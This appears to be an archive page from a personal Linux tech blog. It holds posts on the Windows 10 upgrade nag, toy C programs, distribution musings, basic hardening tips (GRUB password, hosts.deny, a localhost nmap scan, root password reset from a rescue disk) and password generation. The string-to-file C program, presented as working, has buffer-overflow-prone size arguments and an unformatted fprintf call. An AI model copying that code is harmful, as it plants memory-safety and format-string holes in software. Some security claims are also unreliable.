Archive for the ‘Debian-Testing’ Category:

Windows 10 nag screen close button was starting the upgrade.

The Windows 10 nag screen was using a dirty trick that involved having the close button to start the installation. This is very annoying, firstly, you click the upgrade now button and it starts the upgrade, but now the close button was starting the upgrade? That is one dirty trick indeed. Why are Microsoft so desperate for everyone to upgrade to Windows 10 anyway? Forcing these updates on everyone will not curry favor with more paranoid users. Of course, they are the company responsible for the Metro/Modern UI start screen in Windows 8. That was an unforgivable User Interface invention. Windows 8 as a whole was very strange. Just like using Android x86 on a eePC. A mobile phone interface does not work well on a PC. I cannot believe that the Windows 8 styled start screen was in Windows Server 2012. Why would a server operating system need a mobile phone UI? So many computers have had serious issues with running the upgrade and rebooting into an unusable state. That is unacceptible in 2016. That is why I will stay with Windows 7 for the time being.

Windows 10 nag screen.

Windows 10 nag screen.

This posting has a solution for Windows 7 and 8 that will prevent Windows 10 automatic updates. This will be very useful if your machine is fine the way it is and you do not wish to run Windows 10 at all. GWX Control Panel is the easy way to protect your machine from Windows 10. Having something like the below screenshot happen to you would really suck. This guy was livestreaming a counterstrike gaming session and his computer automatically restarted into a Windows 10 upgrade. That ridiculous. That is why you block the upgrade crap.

Livestream interrupted by Windows 10 upgrade.

Livestream interrupted by Windows 10 upgrade.

What is new in the Ubuntu 16.10 release.

Ubuntu Desktop 16.10 Yakkety Yak Daily Build 29-04-2016.

Here is a good little program I wrote in C. Just for fun.

Not a bad little program, and I got the code to work first time, not bad. Writing code in standard C is better than C++ or C#, the old C language is still the best. The whole Linux kernel is written in C and if it is good enough for that project, it is good enough for me.

 
#include <stdio.h>
 
#define EQ ==
#define OP "Troll."
#define trololol printf
 
int lineofstars (void) {
	int x = 0;
	while (x < 64) {
		printf("*");
		x++;
		if (x EQ 31) {
			printf("<|>");
		} else if (x EQ 64) {
			printf("\n-\n");
		}
	}
}
 
int main (int argc, char** argv) {
 
	char *name;
	name = "OP";
	lineofstars();
	trololol("According to this, %s is a %s\n", name, OP);
	return 0;
}

Musings on Linux in general.

Gentoo works perfectly well as a desktop operating system, I have Sabayon Linux which is based on Gentoo and would be good, as long as the Network manager works just as well as it does in Ubuntu and Linux Mint. Wicd is not as good as Networkmanager when it comes to using Wireless Broadband. I need to get another Wireless Broadband dongle, my last one broke and I am using the town library Internet as I write this, I am updating from Ubuntu 10.04 to Ubuntu 10.10, I edited the /etc/apt/sources.lst and replaced all instances of lucid to maverick and typed sudo apt-get update && sudo apt-get upgrade and I can upgrade to Ubuntu Maverick 10.10 that way. Sure it takes a long time downloading more than 323 megabytes of packages, but it is worth the effort, and better than downloading a 700MB CD and installing that then downloading about 400MB of updates. I stand by this method. I wish you could upgrade from the Ubuntu CD’s from Lucid to Maverick, but you cannot. That is stupid, you could do an upgrade from XP to Vista or Windows 7, and keep the old data in the Windows.Old folder, why can’t you do that in Ubuntu? Unless you have a separate /home partition and you can re-install the newer version of Ubuntu and keep your user data. I used to do that a lot, you keep all of your user data and settings and just install a different Linux distribution and tell it to mount the partition as /home. That is a pretty foolproof way to do it, but then you lose all of the extra software you have installed and an upgrade could see what you have installed and upgrade it to the latest versions.

Canonical are you listening? You need to get with the times and see how things should be done, and if the upgrade goes wrong, ie a power failure, then you should be able to recover from that and get it finished. I guess they might go this way in the future, and put in place some kind of system to handle updating. I know they used to pop up a notification where you were prompted to upgrade to a newer version of Ubuntu, I prefer to do it with the command line as I am used to performing tasks that way.

The Linux flash plugin sure is linked with a lot of stuff as a lot of Linux stuff is. But it is interesting to look at this sort of thing and if you are writing a program, it would be interesting to try and reduce the amount of libraries your executable is linked to.

shoggoth@shoggoth:~$ ldd /usr/lib/flashplugin-installer/libflashplayer.so
	linux-gate.so.1 =>  (0x00c36000)
	libX11.so.6 => /usr/lib/libX11.so.6 (0x00110000)
	libXext.so.6 => /usr/lib/libXext.so.6 (0x007fb000)
	libXt.so.6 => /usr/lib/libXt.so.6 (0x00444000)
	libfreetype.so.6 => /usr/lib/libfreetype.so.6 (0x0022d000)
	libfontconfig.so.1 => /usr/lib/libfontconfig.so.1 (0x002a3000)
	libpthread.so.0 => /lib/tls/i686/cmov/libpthread.so.0 (0x002d3000)
	librt.so.1 => /lib/tls/i686/cmov/librt.so.1 (0x009bd000)
	libgtk-x11-2.0.so.0 => /usr/lib/libgtk-x11-2.0.so.0 (0x1e514000)
	libgdk-x11-2.0.so.0 => /usr/lib/libgdk-x11-2.0.so.0 (0x002ec000)
	libatk-1.0.so.0 => /usr/lib/libatk-1.0.so.0 (0x00382000)
	libpangoft2-1.0.so.0 => /usr/lib/libpangoft2-1.0.so.0 (0x0039e000)
	libgdk_pixbuf-2.0.so.0 => /usr/lib/libgdk_pixbuf-2.0.so.0 (0x003c5000)
	libpangocairo-1.0.so.0 => /usr/lib/libpangocairo-1.0.so.0 (0x003df000)
	libcairo.so.2 => /usr/lib/libcairo.so.2 (0x00497000)
	libpango-1.0.so.0 => /usr/lib/libpango-1.0.so.0 (0x003eb000)
	libgobject-2.0.so.0 => /usr/lib/libgobject-2.0.so.0 (0x00511000)
	libgmodule-2.0.so.0 => /usr/lib/libgmodule-2.0.so.0 (0x0042e000)
	libglib-2.0.so.0 => /lib/libglib-2.0.so.0 (0x00550000)
	libssl3.so => /usr/lib/libssl3.so (0x0087b000)
	libsmime3.so => /usr/lib/libsmime3.so (0x008c3000)
	libnss3.so => /usr/lib/libnss3.so (0x0061a000)
	libplds4.so => /usr/lib/libplds4.so (0x00a49000)
	libplc4.so => /usr/lib/libplc4.so (0x0098e000)
	libnspr4.so => /usr/lib/libnspr4.so (0x0072e000)
	libdl.so.2 => /lib/tls/i686/cmov/libdl.so.2 (0x007b2000)
	libm.so.6 => /lib/tls/i686/cmov/libm.so.6 (0x00763000)
	libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0x00a4d000)
	/lib/ld-linux.so.2 (0x009e4000)
	libxcb.so.1 => /usr/lib/libxcb.so.1 (0x00789000)
	libSM.so.6 => /usr/lib/libSM.so.6 (0x00433000)
	libICE.so.6 => /usr/lib/libICE.so.6 (0x007b6000)
	libz.so.1 => /lib/libz.so.1 (0x007cf000)
	libexpat.so.1 => /lib/libexpat.so.1 (0x0080b000)
	libXrender.so.1 => /usr/lib/libXrender.so.1 (0x007a3000)
	libXinerama.so.1 => /usr/lib/libXinerama.so.1 (0x0043c000)
	libXi.so.6 => /usr/lib/libXi.so.6 (0x007e4000)
	libXrandr.so.2 => /usr/lib/libXrandr.so.2 (0x007f2000)
	libXcursor.so.1 => /usr/lib/libXcursor.so.1 (0x00832000)
	libXcomposite.so.1 => /usr/lib/libXcomposite.so.1 (0x00440000)
	libXdamage.so.1 => /usr/lib/libXdamage.so.1 (0x007ad000)
	libXfixes.so.3 => /usr/lib/libXfixes.so.3 (0x00959000)
	libgio-2.0.so.0 => /usr/lib/libgio-2.0.so.0 (0x09e46000)
	libgthread-2.0.so.0 => /usr/lib/libgthread-2.0.so.0 (0x0083f000)
	libpixman-1.so.0 => /usr/lib/libpixman-1.so.0 (0x008e9000)
	libdirectfb-1.2.so.0 => /usr/lib/libdirectfb-1.2.so.0 (0x00ba7000)
	libfusion-1.2.so.0 => /usr/lib/libfusion-1.2.so.0 (0x00845000)
	libdirect-1.2.so.0 => /usr/lib/libdirect-1.2.so.0 (0x0084f000)
	libpng12.so.0 => /lib/libpng12.so.0 (0x0095f000)
	libxcb-render-util.so.0 => /usr/lib/libxcb-render-util.so.0 (0x00865000)
	libxcb-render.so.0 => /usr/lib/libxcb-render.so.0 (0x0086a000)
	libpcre.so.3 => /lib/libpcre.so.3 (0x00a01000)
	libnssutil3.so => /usr/lib/libnssutil3.so (0x00993000)
	libXau.so.6 => /usr/lib/libXau.so.6 (0x00c23000)
	libXdmcp.so.6 => /usr/lib/libXdmcp.so.6 (0x00872000)
	libuuid.so.1 => /lib/libuuid.so.1 (0x008ad000)
	libresolv.so.2 => /lib/tls/i686/cmov/libresolv.so.2 (0x00943000)
	libselinux.so.1 => /lib/libselinux.so.1 (0x009c6000)
shoggoth@shoggoth:~$

My little ping app is not linked to too much in comparison is it?

shoggoth@shoggoth:~/Documents$ ldd ./pingme
	linux-gate.so.1 =>  (0x0034b000)
	libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0x00de0000)
	/lib/ld-linux.so.2 (0x0018c000)

Will we ever completely replace the hard drive?

I  am wondering, if due to the popularity of the SSD solid state hard drives, are we going to see the end of the conventional hard disk with metal platters and read-write heads that skitter over the surface floating on a cushion of air. The SSD drives are getting better and better but do not have the capacity to match a standard hard disk. I would love to have a SSD if it had at least a 500GiB capacity and extremely fast read and write speeds, enabling a super fast boot time with Debian. They would only be very useful if they were reliable and long lasting. The TRIM function required by SSD drives on Linux is included in the 2.6.33 kernel and the ext4 filesystem is desired for installation on an SSD drive. Even if you did not install all of the operating system on the SSD, it would make an extremely good boot drive if you put the /boot partition on it then it could load the kernel & initrd off the fast solid state drive and that would boot the system very fast. If you included /lib on the SSD that would help as well.

Debian starts very fast with the 2.6.38.2 kernel supplied with Debian Unstable and this is the most recent kernel from the stable branch. Debian Unstable is the Debian repository for the latest versions of software that is not available in the Debian Stable repository, but the software in that branch in my experience is just as stable and reliable. Debian has come a long way since the Debian 3.0 “Woody” release on the 19th of July 2002. I have used that and it was extremely reliable and usable. The KDE 2 desktop was light years ahead of the bloated mess that it is now and the Konqueror file manager was preferable to the Dolphin file manager that KDE 4.5 uses now. And the text mode installer with ncurses screens was not too hard to use, the only hard thing was using dselect, but that just takes experience. Debian 6.0 with the graphical installer is even easier to setup and get working. You can just download the minimal installation ISO and install the rest of the packages from the http or an ftp site, but I downloaded the 4.3 GiB DVD ISO and installed Debian from that. The Youtube video I have included shows an old laptop loading Debian Linux 3.0 which takes me back. I have even had Xandros linux installed one time which was also a very good and fun Linux distribution.

Then there was Lindows Linux, which was re-named Linspire which was aimed at new users of Linux and gave people a stable and easy to use Linux desktop using KDE.

Linux still a better option than Windows.

http://www.walkernews.net/2007/06/22/download-official-redhat-linux-iso-image/

The link above is to the Redhat 6.2 Linux distribution, the first version of Linux I used. It ran very well on a Celeron 600 with 64MB of RAM and integrated graphics. Linux has come so far since it was first released, the desktop has gotten even easier to use and with the release of Ubuntu, the Linux desktop has become a reality for more and more users all over the world. Some schools are even installing Ubuntu instead of Windows. I am downloading a CD ISO of Redhat Linux 6.2 and I will be posting screenshots of the distribution running in Virtualbox very soon. That will be very interesting taking a look back at the older Linux distributions and how far we have come in all this time. I will actually make a Youtube video of Redhat 6,2 running and show off the very cool software that came with it. There were good games for Linux back in the day, but now we have Doom, Quake, Unreal Tournament original and UT 2003,2004 and Quake 3 and 4. There is a huge list of games for Linux and they are very good games, you can play the original Quake in the Darkplaces source port with greatly improved graphical quality and support for high-resolution graphics. Quake 4 has a native Linux client and a graphical installer. Linux is free of the malware and viruses that plague Windows systems and is almost as secure as the legendary OpenBSD UNIX operating system. There are HOWTOs that tell you how to write viruses for a Linux system infecting the ELF executable format used by Linux, I am not sure how many people actually have used that though, that is why you have NOVELL App-armor or NSA Selinux installed to combat these sorts of viruses.

But Windows is a target for malware and virus writers because it is so popular and has more security holes like Internet Explorer 6.0 which is still being used sadly. Even Internet Explorer 7.0 has a few bugs regarding CSS. Internet Explorer 9.0 is much, much better and supports just about all CSS and HTML 5.0. In the video I am linking to I am showing Internet Explorer running the ACID tests 1, 2 and 3 and it does very well, much better than IE 6 ever could. Getting back to Linux, there is also Wine, which I have used to run Command & Conquer Tiberian Sun perfectly well, and it can also run World of Warcraft although the setup is rather arcane and complex, but if you could run that game on a more secure and stable operating system then it would be worth all of the effort. It is disappointing that Unreal Tournament 2007 is not available on Linux, we will have to try running it in wine or contenting ourselves with the 2004 release, which is very good mind you, the 2004 version included driveable vehicles in the assault mode and flying craft you could man, which is very cool indeed. And as I said, it is a very good game for Linux along with Quake4. The first ever Linux distribution was MCC Interim Linux in 1992. The files of the distribution are still available and it was the first Linux distribution that was capable of being installed on a computer.

I have included this video explaining the origins of the Linux operating system as spoken my Linus Torvalds himself. He wanted a free version of the commercial UNIX and so he coded the free Linux kernel and created the free open-source operating system we have today. I hate to think of what the world would be like without a free operating system that is free of viruses and free of the annoying malware and adware that plagues the Windows systems of the world. Windows 7 when used with a limited user account is very secure and stable, but Linux will always be more secure than the closed source counterpart. Despite the bully boy tactics of Microsoft that had the machines in the OLPC project running Windows instead of Linux, it has been decided that Linux is best for the job and with improvements to power management code it is perfectly suited for the task of running on a cheap and relatively low specification machine. FreeBSD is also good for running on a laptop, but they decided on Linux and that is fine by me as developing countries need all of the help they can get and a free and open operating system instead of a closed and unreliable Windows installation is what they deserve. Microsoft only care about their bottom line and not the consumer anyway, Windows 7 is not too bad at all, but Windows XP is practically abandon-ware by now and should not be used these days unless your machine is very old, and then you would be better off with Xubuntu. Nowadays there is ulitelinux that is a very minimal installation of Ubuntu that can run on older machines and give them a new lease of life. If you are using a Ethernet modem to access the Internet like I am then you would not need to run Gnome in Linux and you could run Fluxbox or Lxde or even Blackbox and then you would hardly use any memory running such a sleek and fast desktop.

C program to write a string to a file.

I think I may have posted this before, but this is a little program I am working on that writes a text string to a file. I have got it to work perfectly and it compiles without errors using gcc -Wall.

/*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
*/
 
/********************************************************************
* Description:
* Author:  <shoggoth>
* Created at: Wed Jan 19 13:06:21 EST 2011
* Computer: myhost
* System: Linux 2.6.33-ARCH on x86_64
*
* Copyright (c) 2011   All rights reserved.
*
********************************************************************/
 
#include <stdio.h>
#include <time.h>
 
#define format "At this time: %H:%M:%S"
#define text "OP is a Troll."
 
int lineofstars (void) {
	int x = 0;
	while (x < 64) {
		printf("*");
		x++;
		if (x == 31) {
			printf("<|>");
		} else if (x == 64) {
			printf("\n-\n");
		}
	}
	return 0;
}
 
int main (int argc, char** argv) {
 
	lineofstars();
 
	char *File;
	char String[60];
	struct tm *ptr;
	time_t tm;
	char length[60];
 
	tm = time(NULL);
	ptr = localtime(&tm);
	strftime(length, 100, format, ptr);
 
	File = "log.txt";
	snprintf(String, 100, "%s, %s\n", length, text);
 
	FILE *f;
	f = fopen (File, "a+");
 
	if (!f) {
		printf("Sorry, I cannot open the file %s.\n", File);
		return 0;
	}
 
	fprintf(f, String);
 
	fflush(stdout);
	fclose(f);
 
	return 0;
}

And this is the ~/.xsession file I am currenty using when I want a minimal desktop. Larswm is the fastest desktop available for Linux and very minimal.

#!/bin/sh
 
#
# Copyright (c) 2004 Lars Bernhardsson, see README for licence details
#
# sample.xsession - Login script for larswm
#
 
# Clear root window settings and set background color
xsetroot && xsetroot -solid DarkSlateGrey
 
# 2nd screen
# xsetroot -display :0.1 && xsetroot -display :0.1 -solid lightgray
 
# Start a couple of tools
xload -geometry 96x48-0-0 &
xbiff -geometry 48x48-100-0 &
oclock -geometry 48x48-152-0 &
 
# Start a background job that feeds date/time to larswm
larsclock &
 
# Start wm.
exec larswm
[Ackley] took another look at my hat . . . "Up home we wear a hat like that to shoot deer in, for
Chrissake", he said. "That's a deer shooting hat."
Like hell it is. I took it off and looked at it. I sort of closed one eye, like I was taking aim at it.
"This is a people shooting hat," I said. "I shoot people in this hat."
	--The Catcher in the Rye, J.D Salinger. 1951.

Securing your GNU/Linux System.

Dragonfly BSD. One very secure operating system.Dragonfly BSD UNIX.This is running in qemu, the emulator for PC operating systems. It is a live CD and has the option to install the operating system or use the system as root. Once logged in you can use gcc and vi, all the familiar UNIX/GNU tools. I could get to like UNIX if it was easier to install. But it is better than Windows and much more fun to have a quick hacking session with. And that is good for the soul. If only SCO would go away and leave it alone. But there is also the macintosh but that is with a graphical interface abstracted from the underlying OS. Just a good looking toy, but without knowledge of the internals the users just us the point and click interface they rely on. But Dragonfly BSD has no point and click interface, just a simple root shell when running from the CD.

I am writing this page to put out some simple tips on securing your GNU/Linux box. Now let us get on with it.

I was setting up my OpenSuSE 10.2 system to use the KDM login manager and it would not let me login. I found out it was the fact I had compiled and installed bash version 3.2 as my shell and I had not added it to the /etc/shells file. Something to watch out for, and although I was still able to login at the text console I think this trying to give some security which is admirable, but does not
go all the way at all. But this shows what can happen if you are not careful. Having a password on the grub bootloader and sensible passwords on your user accounts will go a long way towards greater security. And make sure you use Blowfish encryption on your passwords as this gives the best encryption. There is a section on password protecting the grub menu file below.

Password Protecting your Grub menu file.

Here is a simple example of putting a password on your Grub menu file. Very good for security. Fedora Core 5 lets you set this up during installation, but I am using SUSE 10 as an example. Using the Yast setup tools.

color white/blue black/light-gray
default 0
timeout 10
# Password: ff64302c
password --md5 $1$BB3Frzzz$ks/5ciyxAazSumCMZVV961
title Linux 2.6.16
	root (hd0,0)
	kernel /boot/bzImage root=/dev/hda1 vga=0x307
	initrd /boot/initrd-Mythrandyr

See the screenshot here for an example
using the SUSE 10 Yast tools.

Below is an example using the grub command line. I am using the password ff64302c as an example of a good hard to guess password choice. But since I have used it here, do not use it yourself. Once you have an encrypted password string, put in the grub menu.lst file as shown above and then you will need to press `p` at the menu screen and enter the password to adjust any options and the kernel command line. The encrypted md5 string below is different from the one above as it uses random encryption and this is pretty good security. And I have put the plaintext password in my menu.lst example just to show what the password is, NEVER do this yourself. And this would not protect you if someone boots from a Linux rescue disk as shown in the next article about resetting your root password. Unless your hard disk partition is encrypted. But encrypting the root partition is not the easiest thing to do.

GNU GRUB  version 0.96  (640K lower / 3072K upper memory)
[ Minimal BASH-like line editing is supported.  For the first word, TAB
lists possible command completions.  Anywhere else TAB lists the possible
completions of a device/filename. ]
grub> md5crypt
Password: ********
Encrypted: $1$px/dT1$LDLCLc1sQLSQCmULletqN/
grub>

Resetting your root password in Suse 10.

If you have lost your root password in Suse 10.0 then all is not lost! Just boot from your SUSE 10 DVD and select the rescue system option, then login as root and type cd /mnt then type em>mkdir harddrive and mount -rw /dev/hda1 /mnt/hardrive then you can access the files on the hard disk. But we need to change the password, so type chroot /mnt/harddrive and then type: passwd root to change the root password.

Now you can type /sbin/init 6 to reboot and remove the CD/DVD and you will be able to login as root once again. I had to do a fresh installation of SUSE 10.0 and this happened to me when I set the password for root and promptly forgot it, so thankfully I was able to fix it. If only more Linux distros had such good rescue tools. You can use this method to affect many system settings if you accidentally fscked something up and needed to change the setting back. Using chroot, you set the root directory to the hard drive and can easily change the settings using the toolset available.

To make your system a little more secure, edit your /etc/hosts.deny file to look like this, and you will have a more secure system against port scanning.

# /etc/hosts.deny
# See 'man tcpd' and 'man 5 hosts_access' as well as /etc/hosts.allow
# for a detailed description.
ALL : PARANOID ALL

And add just this line to /etc/hosts.allow.

#/etc/hosts.allow
ALL : LOCAL @localhost

Now your system will be safer from internet attack. Not impervious without disconnecting from the Internet but still a little safer. Below is the result of port scanning my machine with nmap after these settings have been enabled. Type cat /etc/protocols | grep tcp for example for information on what some port is running. GNU/Linux has a command for everything!

bash ~# nmap -v -sS -O localhost
Starting nmap 3.81 ( http://www.insecure.org/nmap/ ) at 2007-03-09 13:38 EST
Initiating SYN Stealth Scan against knoppix.boxen (127.0.0.1) [1663 ports] at
13:38
Discovered open port 631/tcp on 127.0.0.1
The SYN Stealth Scan took 0.55s to scan 1663 total ports.
For OSScan assuming port 631 is open, 1 is closed, and neither are firewalled
Host knoppix.boxen (127.0.0.1) appears to be up ... good.
Interesting ports on knoppix.boxen (127.0.0.1):
(The 1662 ports scanned but not shown below are in state: closed)
PORT    STATE SERVICE
631/tcp open  ipp
Device type: general purpose
Running: Linux 2.4.X|2.5.X|2.6.X
OS details: Linux 2.5.25 - 2.6.3 or Gentoo 1.2 Linux 2.4.19 rc1-rc7)
Uptime 0.706 days (since Thu Mar  8 20:42:50 2007)
TCP Sequence Prediction: Class=random positive increments
Difficulty=3625530 (Good luck!)
IPID Sequence Generation: All zeros
Nmap finished: 1 IP address (1 host up) scanned in 3.505 seconds
Raw packets sent: 1679 (67.4KB) | Rcvd: 3364 (136KB)

Setting the security level in OpenSuSE 10.2.

To do this, you run chkstat -set /etc/permissions.secure, this will enable greater security levels for your systems. You can edit the files with vim and adjust the settings in the files to suit. When I set the secure level I could not start Xorg when typing “startx”. Xorg did not have permissions to manipulate the /var/log files. So this needs adjusting. But this is a good way to improve security and there are no problems if you use gdm and boot in runlevel 5.

Play a DVD with Smplayer on Ubuntu 16.04.

To play a DVD on Ubuntu 16.04, you will need to install the Libdvdcss library to enable encrypted DVD playback. This is very simple.

Firstly, download the required library: https://download.videolan.org/libdvdcss/1.2.12/libdvdcss-1.2.12.tar.bz2.

Then move to the Downloads directory and extract the tarball.

jason@jason-desktop:~$ tar -xvf libdvdcss-1.2.12.tar.bz2

Then move to the directory to compile the code.

jason@jason-desktop:~$ cd libdvdcss-1.2.12/

Then run the configuration script.

jason@jason-desktop:~/libdvdcss-1.2.12$ ./configure --prefix=/usr/local

Once completed with no errors, compile the code.

jason@jason-desktop:~/libdvdcss-1.2.12$ make

Then install the compiled libraries.

jason@jason-desktop:~/libdvdcss-1.2.12$ sudo make install

Once this is completed, open a DVD in Smplayer and it should open with no errors. This is what I did on Ubuntu to play a DVD as this was easier than getting the Videos application to play a DVD.

Generate an assortment of random passwords with a simple command.

The pwgen command will generate a set of random passwords that may be used to secure your user account.
Type this command to install this utility.

root@DESKTOP-R72SPS3:~# apt-get install pwgen

Now we can generate a few passwords.

jason@DESKTOP-R72SPS3:/mnt/c/Users/johnc$ pwgen -s -v
79lZrgzb ctklTCV3 zX3nDCQr FXk5g7V8 v7Jd8QbW L9Zxrr86 79Q89Bdw pljWpST7
m64dX4MD GmD3RKjS M3dL6cZK C4mHWgzc DD36ppKM w37VmLV8 3CP9nM55 HQKF2PTw
5WcwKm8J tBx68rjc 5zGm6mb6 CgPR8Ttq KPGSCz4r HfW9LnV4 TV85xh9v ZxvqV99c
4P5v4RkH qm7nZRsM VzF5DpRf 64lgMMxf 8FlhjMqk WsX2wjJw Tv6qXnkZ jwplt7P3
bGlPV5Kp tkcCJHP6 Mgv3MX76 dg3W5b2S x3gG9h7h 7sjlRRHd 3wJZf54w Ckj9D2h2
zsJr3Rpn mPkNSsz5 6BGF9zS3 KqW7jDrv 2MDmfw6k vgD82flp KXws2hdk ss6psR39
BzCln48S dJx8ZqWT 8NXfKzxM 6BJtsJZ4 wmWgrnv6 dvr6SNb4 Tgd6PVTD qmL7FwFJ
37nVjmxS J8lhvs2w C9gDpq4m Ss35bvcF nfk2vFSP rWxslN9P QxH8WLXH zvpng6pG
lfb7S3JV kLcL5Gd5 K2N5GTNf bZwKm8W2 D3RMwkHg wPDzNb27 9JtH9ZHQ qjxP9VBS
T9R9CG8n pSZqP7P6 zLZnNj22 s7MNDWNT ZNrQRs9L 9W9NT9wJ P5nXMZq2 Rx75CS8S
gDGlSN74 rddGpkw7 n6fBFdMH gWVXVF6f rlvqd9X8 NH3fqtjT d3NnMdsD hL5dv924
5VlxQcwb dZ86VF32 g6kFS64L Pw7P3LHs 98jLV5Vf 5cZsnDBS rB7V7bZ6 slNzTgd7
sFvj9SCZ nqHSsQn4 nNLzZ9B3 k7wqNHgR dbXshQ27 44JPkh94 HhsqxJZ7 L7dLNJXD
GJLd7dFZ wbJHzbF5 k8LTVKbq 2rBlBvCw f48dHZF4 JFWkZ8JG nKNf9fLC PZqS5QBd
b7FdKZvX 5H27vQmG RKSh7Fzc PJdXk6pM BDJzXP8Z Fznsd3Fs 8P7Kjkqf R56VNJwg
WhxQ9BMZ GTNC5Hlf tbX397xs RF3tgqCf 4rF7tpsv nn3Qtc7p mFg3tkXv Vq4J8Prz
26x5vnvQ KZ5cvHRQ CZq5gZfx Mxx8CJtW Dvj9gwkV dqxV6NBr hvKnC3jT rDJgQ5s4
MZVx5GTq DBv2TPhs Rxq3rSM3 lBxLL6cH fPT6ldlZ rFqgh3N7 6GjRzQDD VKs7zhB8
7L8pPLKC 9ZsD5Dfr S4D9dPPS KtJM63w4 z9LlPPvH 9c98KN2h nsw8zRbT M5Xj9x4d
N3N2FwXC tB3WBH5P 3rGfQXNf 47CdxGqF TGT8V9vr wJXXJF4N pLztnC3k Hd5rHDPb

Here is how to generate one long password.

jason@DESKTOP-R72SPS3:/mnt/c/Users/johnc$ pwgen -s -v 96 -1
q3N9Dv3R76TgCbf9WTkBP8FGwSgpnpPBfFtHLb3gPPwq74T5Xv68Kr6K9QW9fpf79lqwHQbTGw3FvWkW7G2VlPdJcNLjZTnw

The -s parameter ensures that more secure passwords are generated. Longer passwords are preferable as they have more entropy and are harder to break.

Here we are generating a bunch of 19 character passwords.

jason@DESKTOP-R72SPS3:/mnt/c/Users/johnc$ pwgen -s -v 19
tNNm22Xg6JsLPHqJtvP kP7s7PPbR85WszJqjpq 5hVzwVbLFGbbFx8G2zW J7QVBTwfqkGrtwzXb2s
CvTwKzlL4fLMQk5Qpzh vfV76FB5Zxg4zhQ2D2J xxtFcfGB9ZkJqnmTTZC ndH7nFFhNdXv6kKmhst
kZHqRzftDv9bxJjCKkJ zBGPg9GmD7zGWPlv4V5 2fSsQBwlSSvh7WKPT3Q mCBQbnHBj8ZqdhmNmDp
HmbcZlhQvWV3Vwq73ZS PbjF6KsmnCXRMDfxjFW gBBvLlG8mxJ5V2bSsfr 9MPhwPz4BzzhzFsCVk3
WGvgZb6FVRRhtdgCcwP fZvsdg94KqZMmfckxF6 TPGnTLSZCtSMFw2pxFK 4NF66JpGsCwL7lpp4LD
SFs8bglnHVKppdSgXxS pcFHH5nxNdlPj4KTTs4 b3T7HJL3G57MsPGDK7C 8mgK2J7XLKlqf9XZQhw
23CSmtl3jKkLp5PpkVk d5vVGmQkQ986sppVbB2 Dzm5BjvJFTDWGlKhb3j dj49n7jJv9WMh7qbm6H
LzJCqj7Zn56L52lwzhT lpz4gTGnMHLrC32C3vT ttLbKnxR4FJFWnj6LqX 8jtkf96WKFLLFJd6C6z
T7XzqNPzdNlZRft6nR2 VdkvSVxkxDLP6JStqSB WSG6scDSLl8zcHF7CpQ GNWXSxQbvrG2HcC8L26
gphc8HhB9x8mDt2FWn7 4DHrwzGfhVZLBKw8XF4 rTQqw25vhN5rcBN2XmX NLNP4ft8NsGsDjtsB3p
Jp285CF349Fhwt7dtJF Fhc9gJKtLnhCDkFtFFn qd7jBlCBJwRgDSfTwGl S8zlhp3Dd6d5TqxVKZr
DNxbLQ9ntmvQjBcfwQq ZqMgvkL46mbLLJQnvM6 6nVJbvZbJZN4tpgkWKP Pth5PpWHWPD4cjMK635
bqJtzhc34TqmwPVG2B7 Np2nzn8KhSWpVzmr9BN gR3WGXq6Qvc4PZH7HFW CvcD2pWDPHXnzbmrl5r
b6Q5d7lHw7J7X7VFXt5 DZZKCW6zfhD8TXScGt6 5NMnhtfPsVhQQCRzwHz djp7G48JsZ3tjmVxz2p
KnjlcWk73STR2FtPMNN S85C2HVsHSwxtpPBZpP 3qJp5vMxmx6hQpGsDGD wgSXRPRNBpd4gbxNf8N
XsJ6txT4kgx5X5l2B8l FDlJfffqK8Rvztm26vz LMh8pFkbxnxGtFNtspg qPDPFRBKbw3RnNzZQtG
TmqnfJQMn2w7vsJBxrW s88VPrG3TP4klhFmpBT 826VS5FFzLlct8j34PM w5mwKsXNpGCrrSbQwBh
HRnpgHw5344lhDmZRrd vdCQH6xcBTbhGFt5SWV WWz3tGFxVN5sMcnngjQ 76g2vB2Pp9MWNLkw7R5
bsZvM32TVQT9LvpmnLg cPbzKT4hXsdhlPhD9nk sXJCZb8P2PZXm6dBzT7 gD8bDNx9JN7F3n2p3kh
njJvjprLmV5XPGPRS9b r6tkqTrbh9wfH2TVXdC SxCjrvFWdq4MNndxkfS LNcQHPrzv7Pdm2s29xz

This is one very useful utility to generate passwords for your Linux system.

Here is another way to generate a super secure password.

jason@DESKTOP-R72SPS3:/mnt/c/Users/johnc$ cat /dev/urandom | strings | tr -dc 'a-zA-Z0-9!@#$%^&*()' | fold -w 160 | head -n 1

This will generate a 160 character secure password.

This command will generate 12 secure passwords.

jason@DESKTOP-R72SPS3:/mnt/c/Users/johnc$ cat /dev/urandom | strings | tr -dc 'a-zA-Z0-9!@#$%^&*()' | fold -w 160 | head -n 12
HnJa3c%Mc!79mOrW*6hLZmPx@(WI8p3MGk9SHLArd^qJ035t#S4gF9Q^zHuu^fq9jAsPF9hT#qnsKSPa#P0LIsU$09JGE^5)9#ZOk9XE0#4W)DrNb*Wk023xF^VWloUOpuL0(k1#*A(d)jjYw!ar9yU0TG2*T6Z5
NO@ajupO4P2arrbyGlvNLjQ5vj3A@q#mwet5aVFIHaXI2U!4rx$dQeQOnaf59&yzndGC(!7@8UT7oGxOeOgFrsG!UulIuI5RZZTQ)o9Lr*1a2OlAw6B3iIyN5y42F8&O5e6JS54wgLiA$944PSEc%oo94YQOGIs3
vn6$#fey9ezl7polkXNNBC38DRjEJG#cwqTP$5KF4B33HGPBo*1wEX4b2lca4peq9^4YD9GiktMmjQ40jQ19HlCy!ugpPFnkKcfnO3pRfi13^IBJfH@EFFSg6Kg130ANHDbt1MOM$9NwL^^l(9atwIxs7djGp!UM
AVPU3i^LY&tymj%rx$h!GXCeC4whfofLYCfEqS46XAR)y&%DloHmQ%ziTK%l9LsVHtL@BSul!(4P@%XjoLd*UkP8Gq8I#WQ)vvmGD1aQDHKL7SN5)nTi7c50m7ZT)e)70)TCPfcO56nlOd(WrZQ)^rB4^3ETkbwo
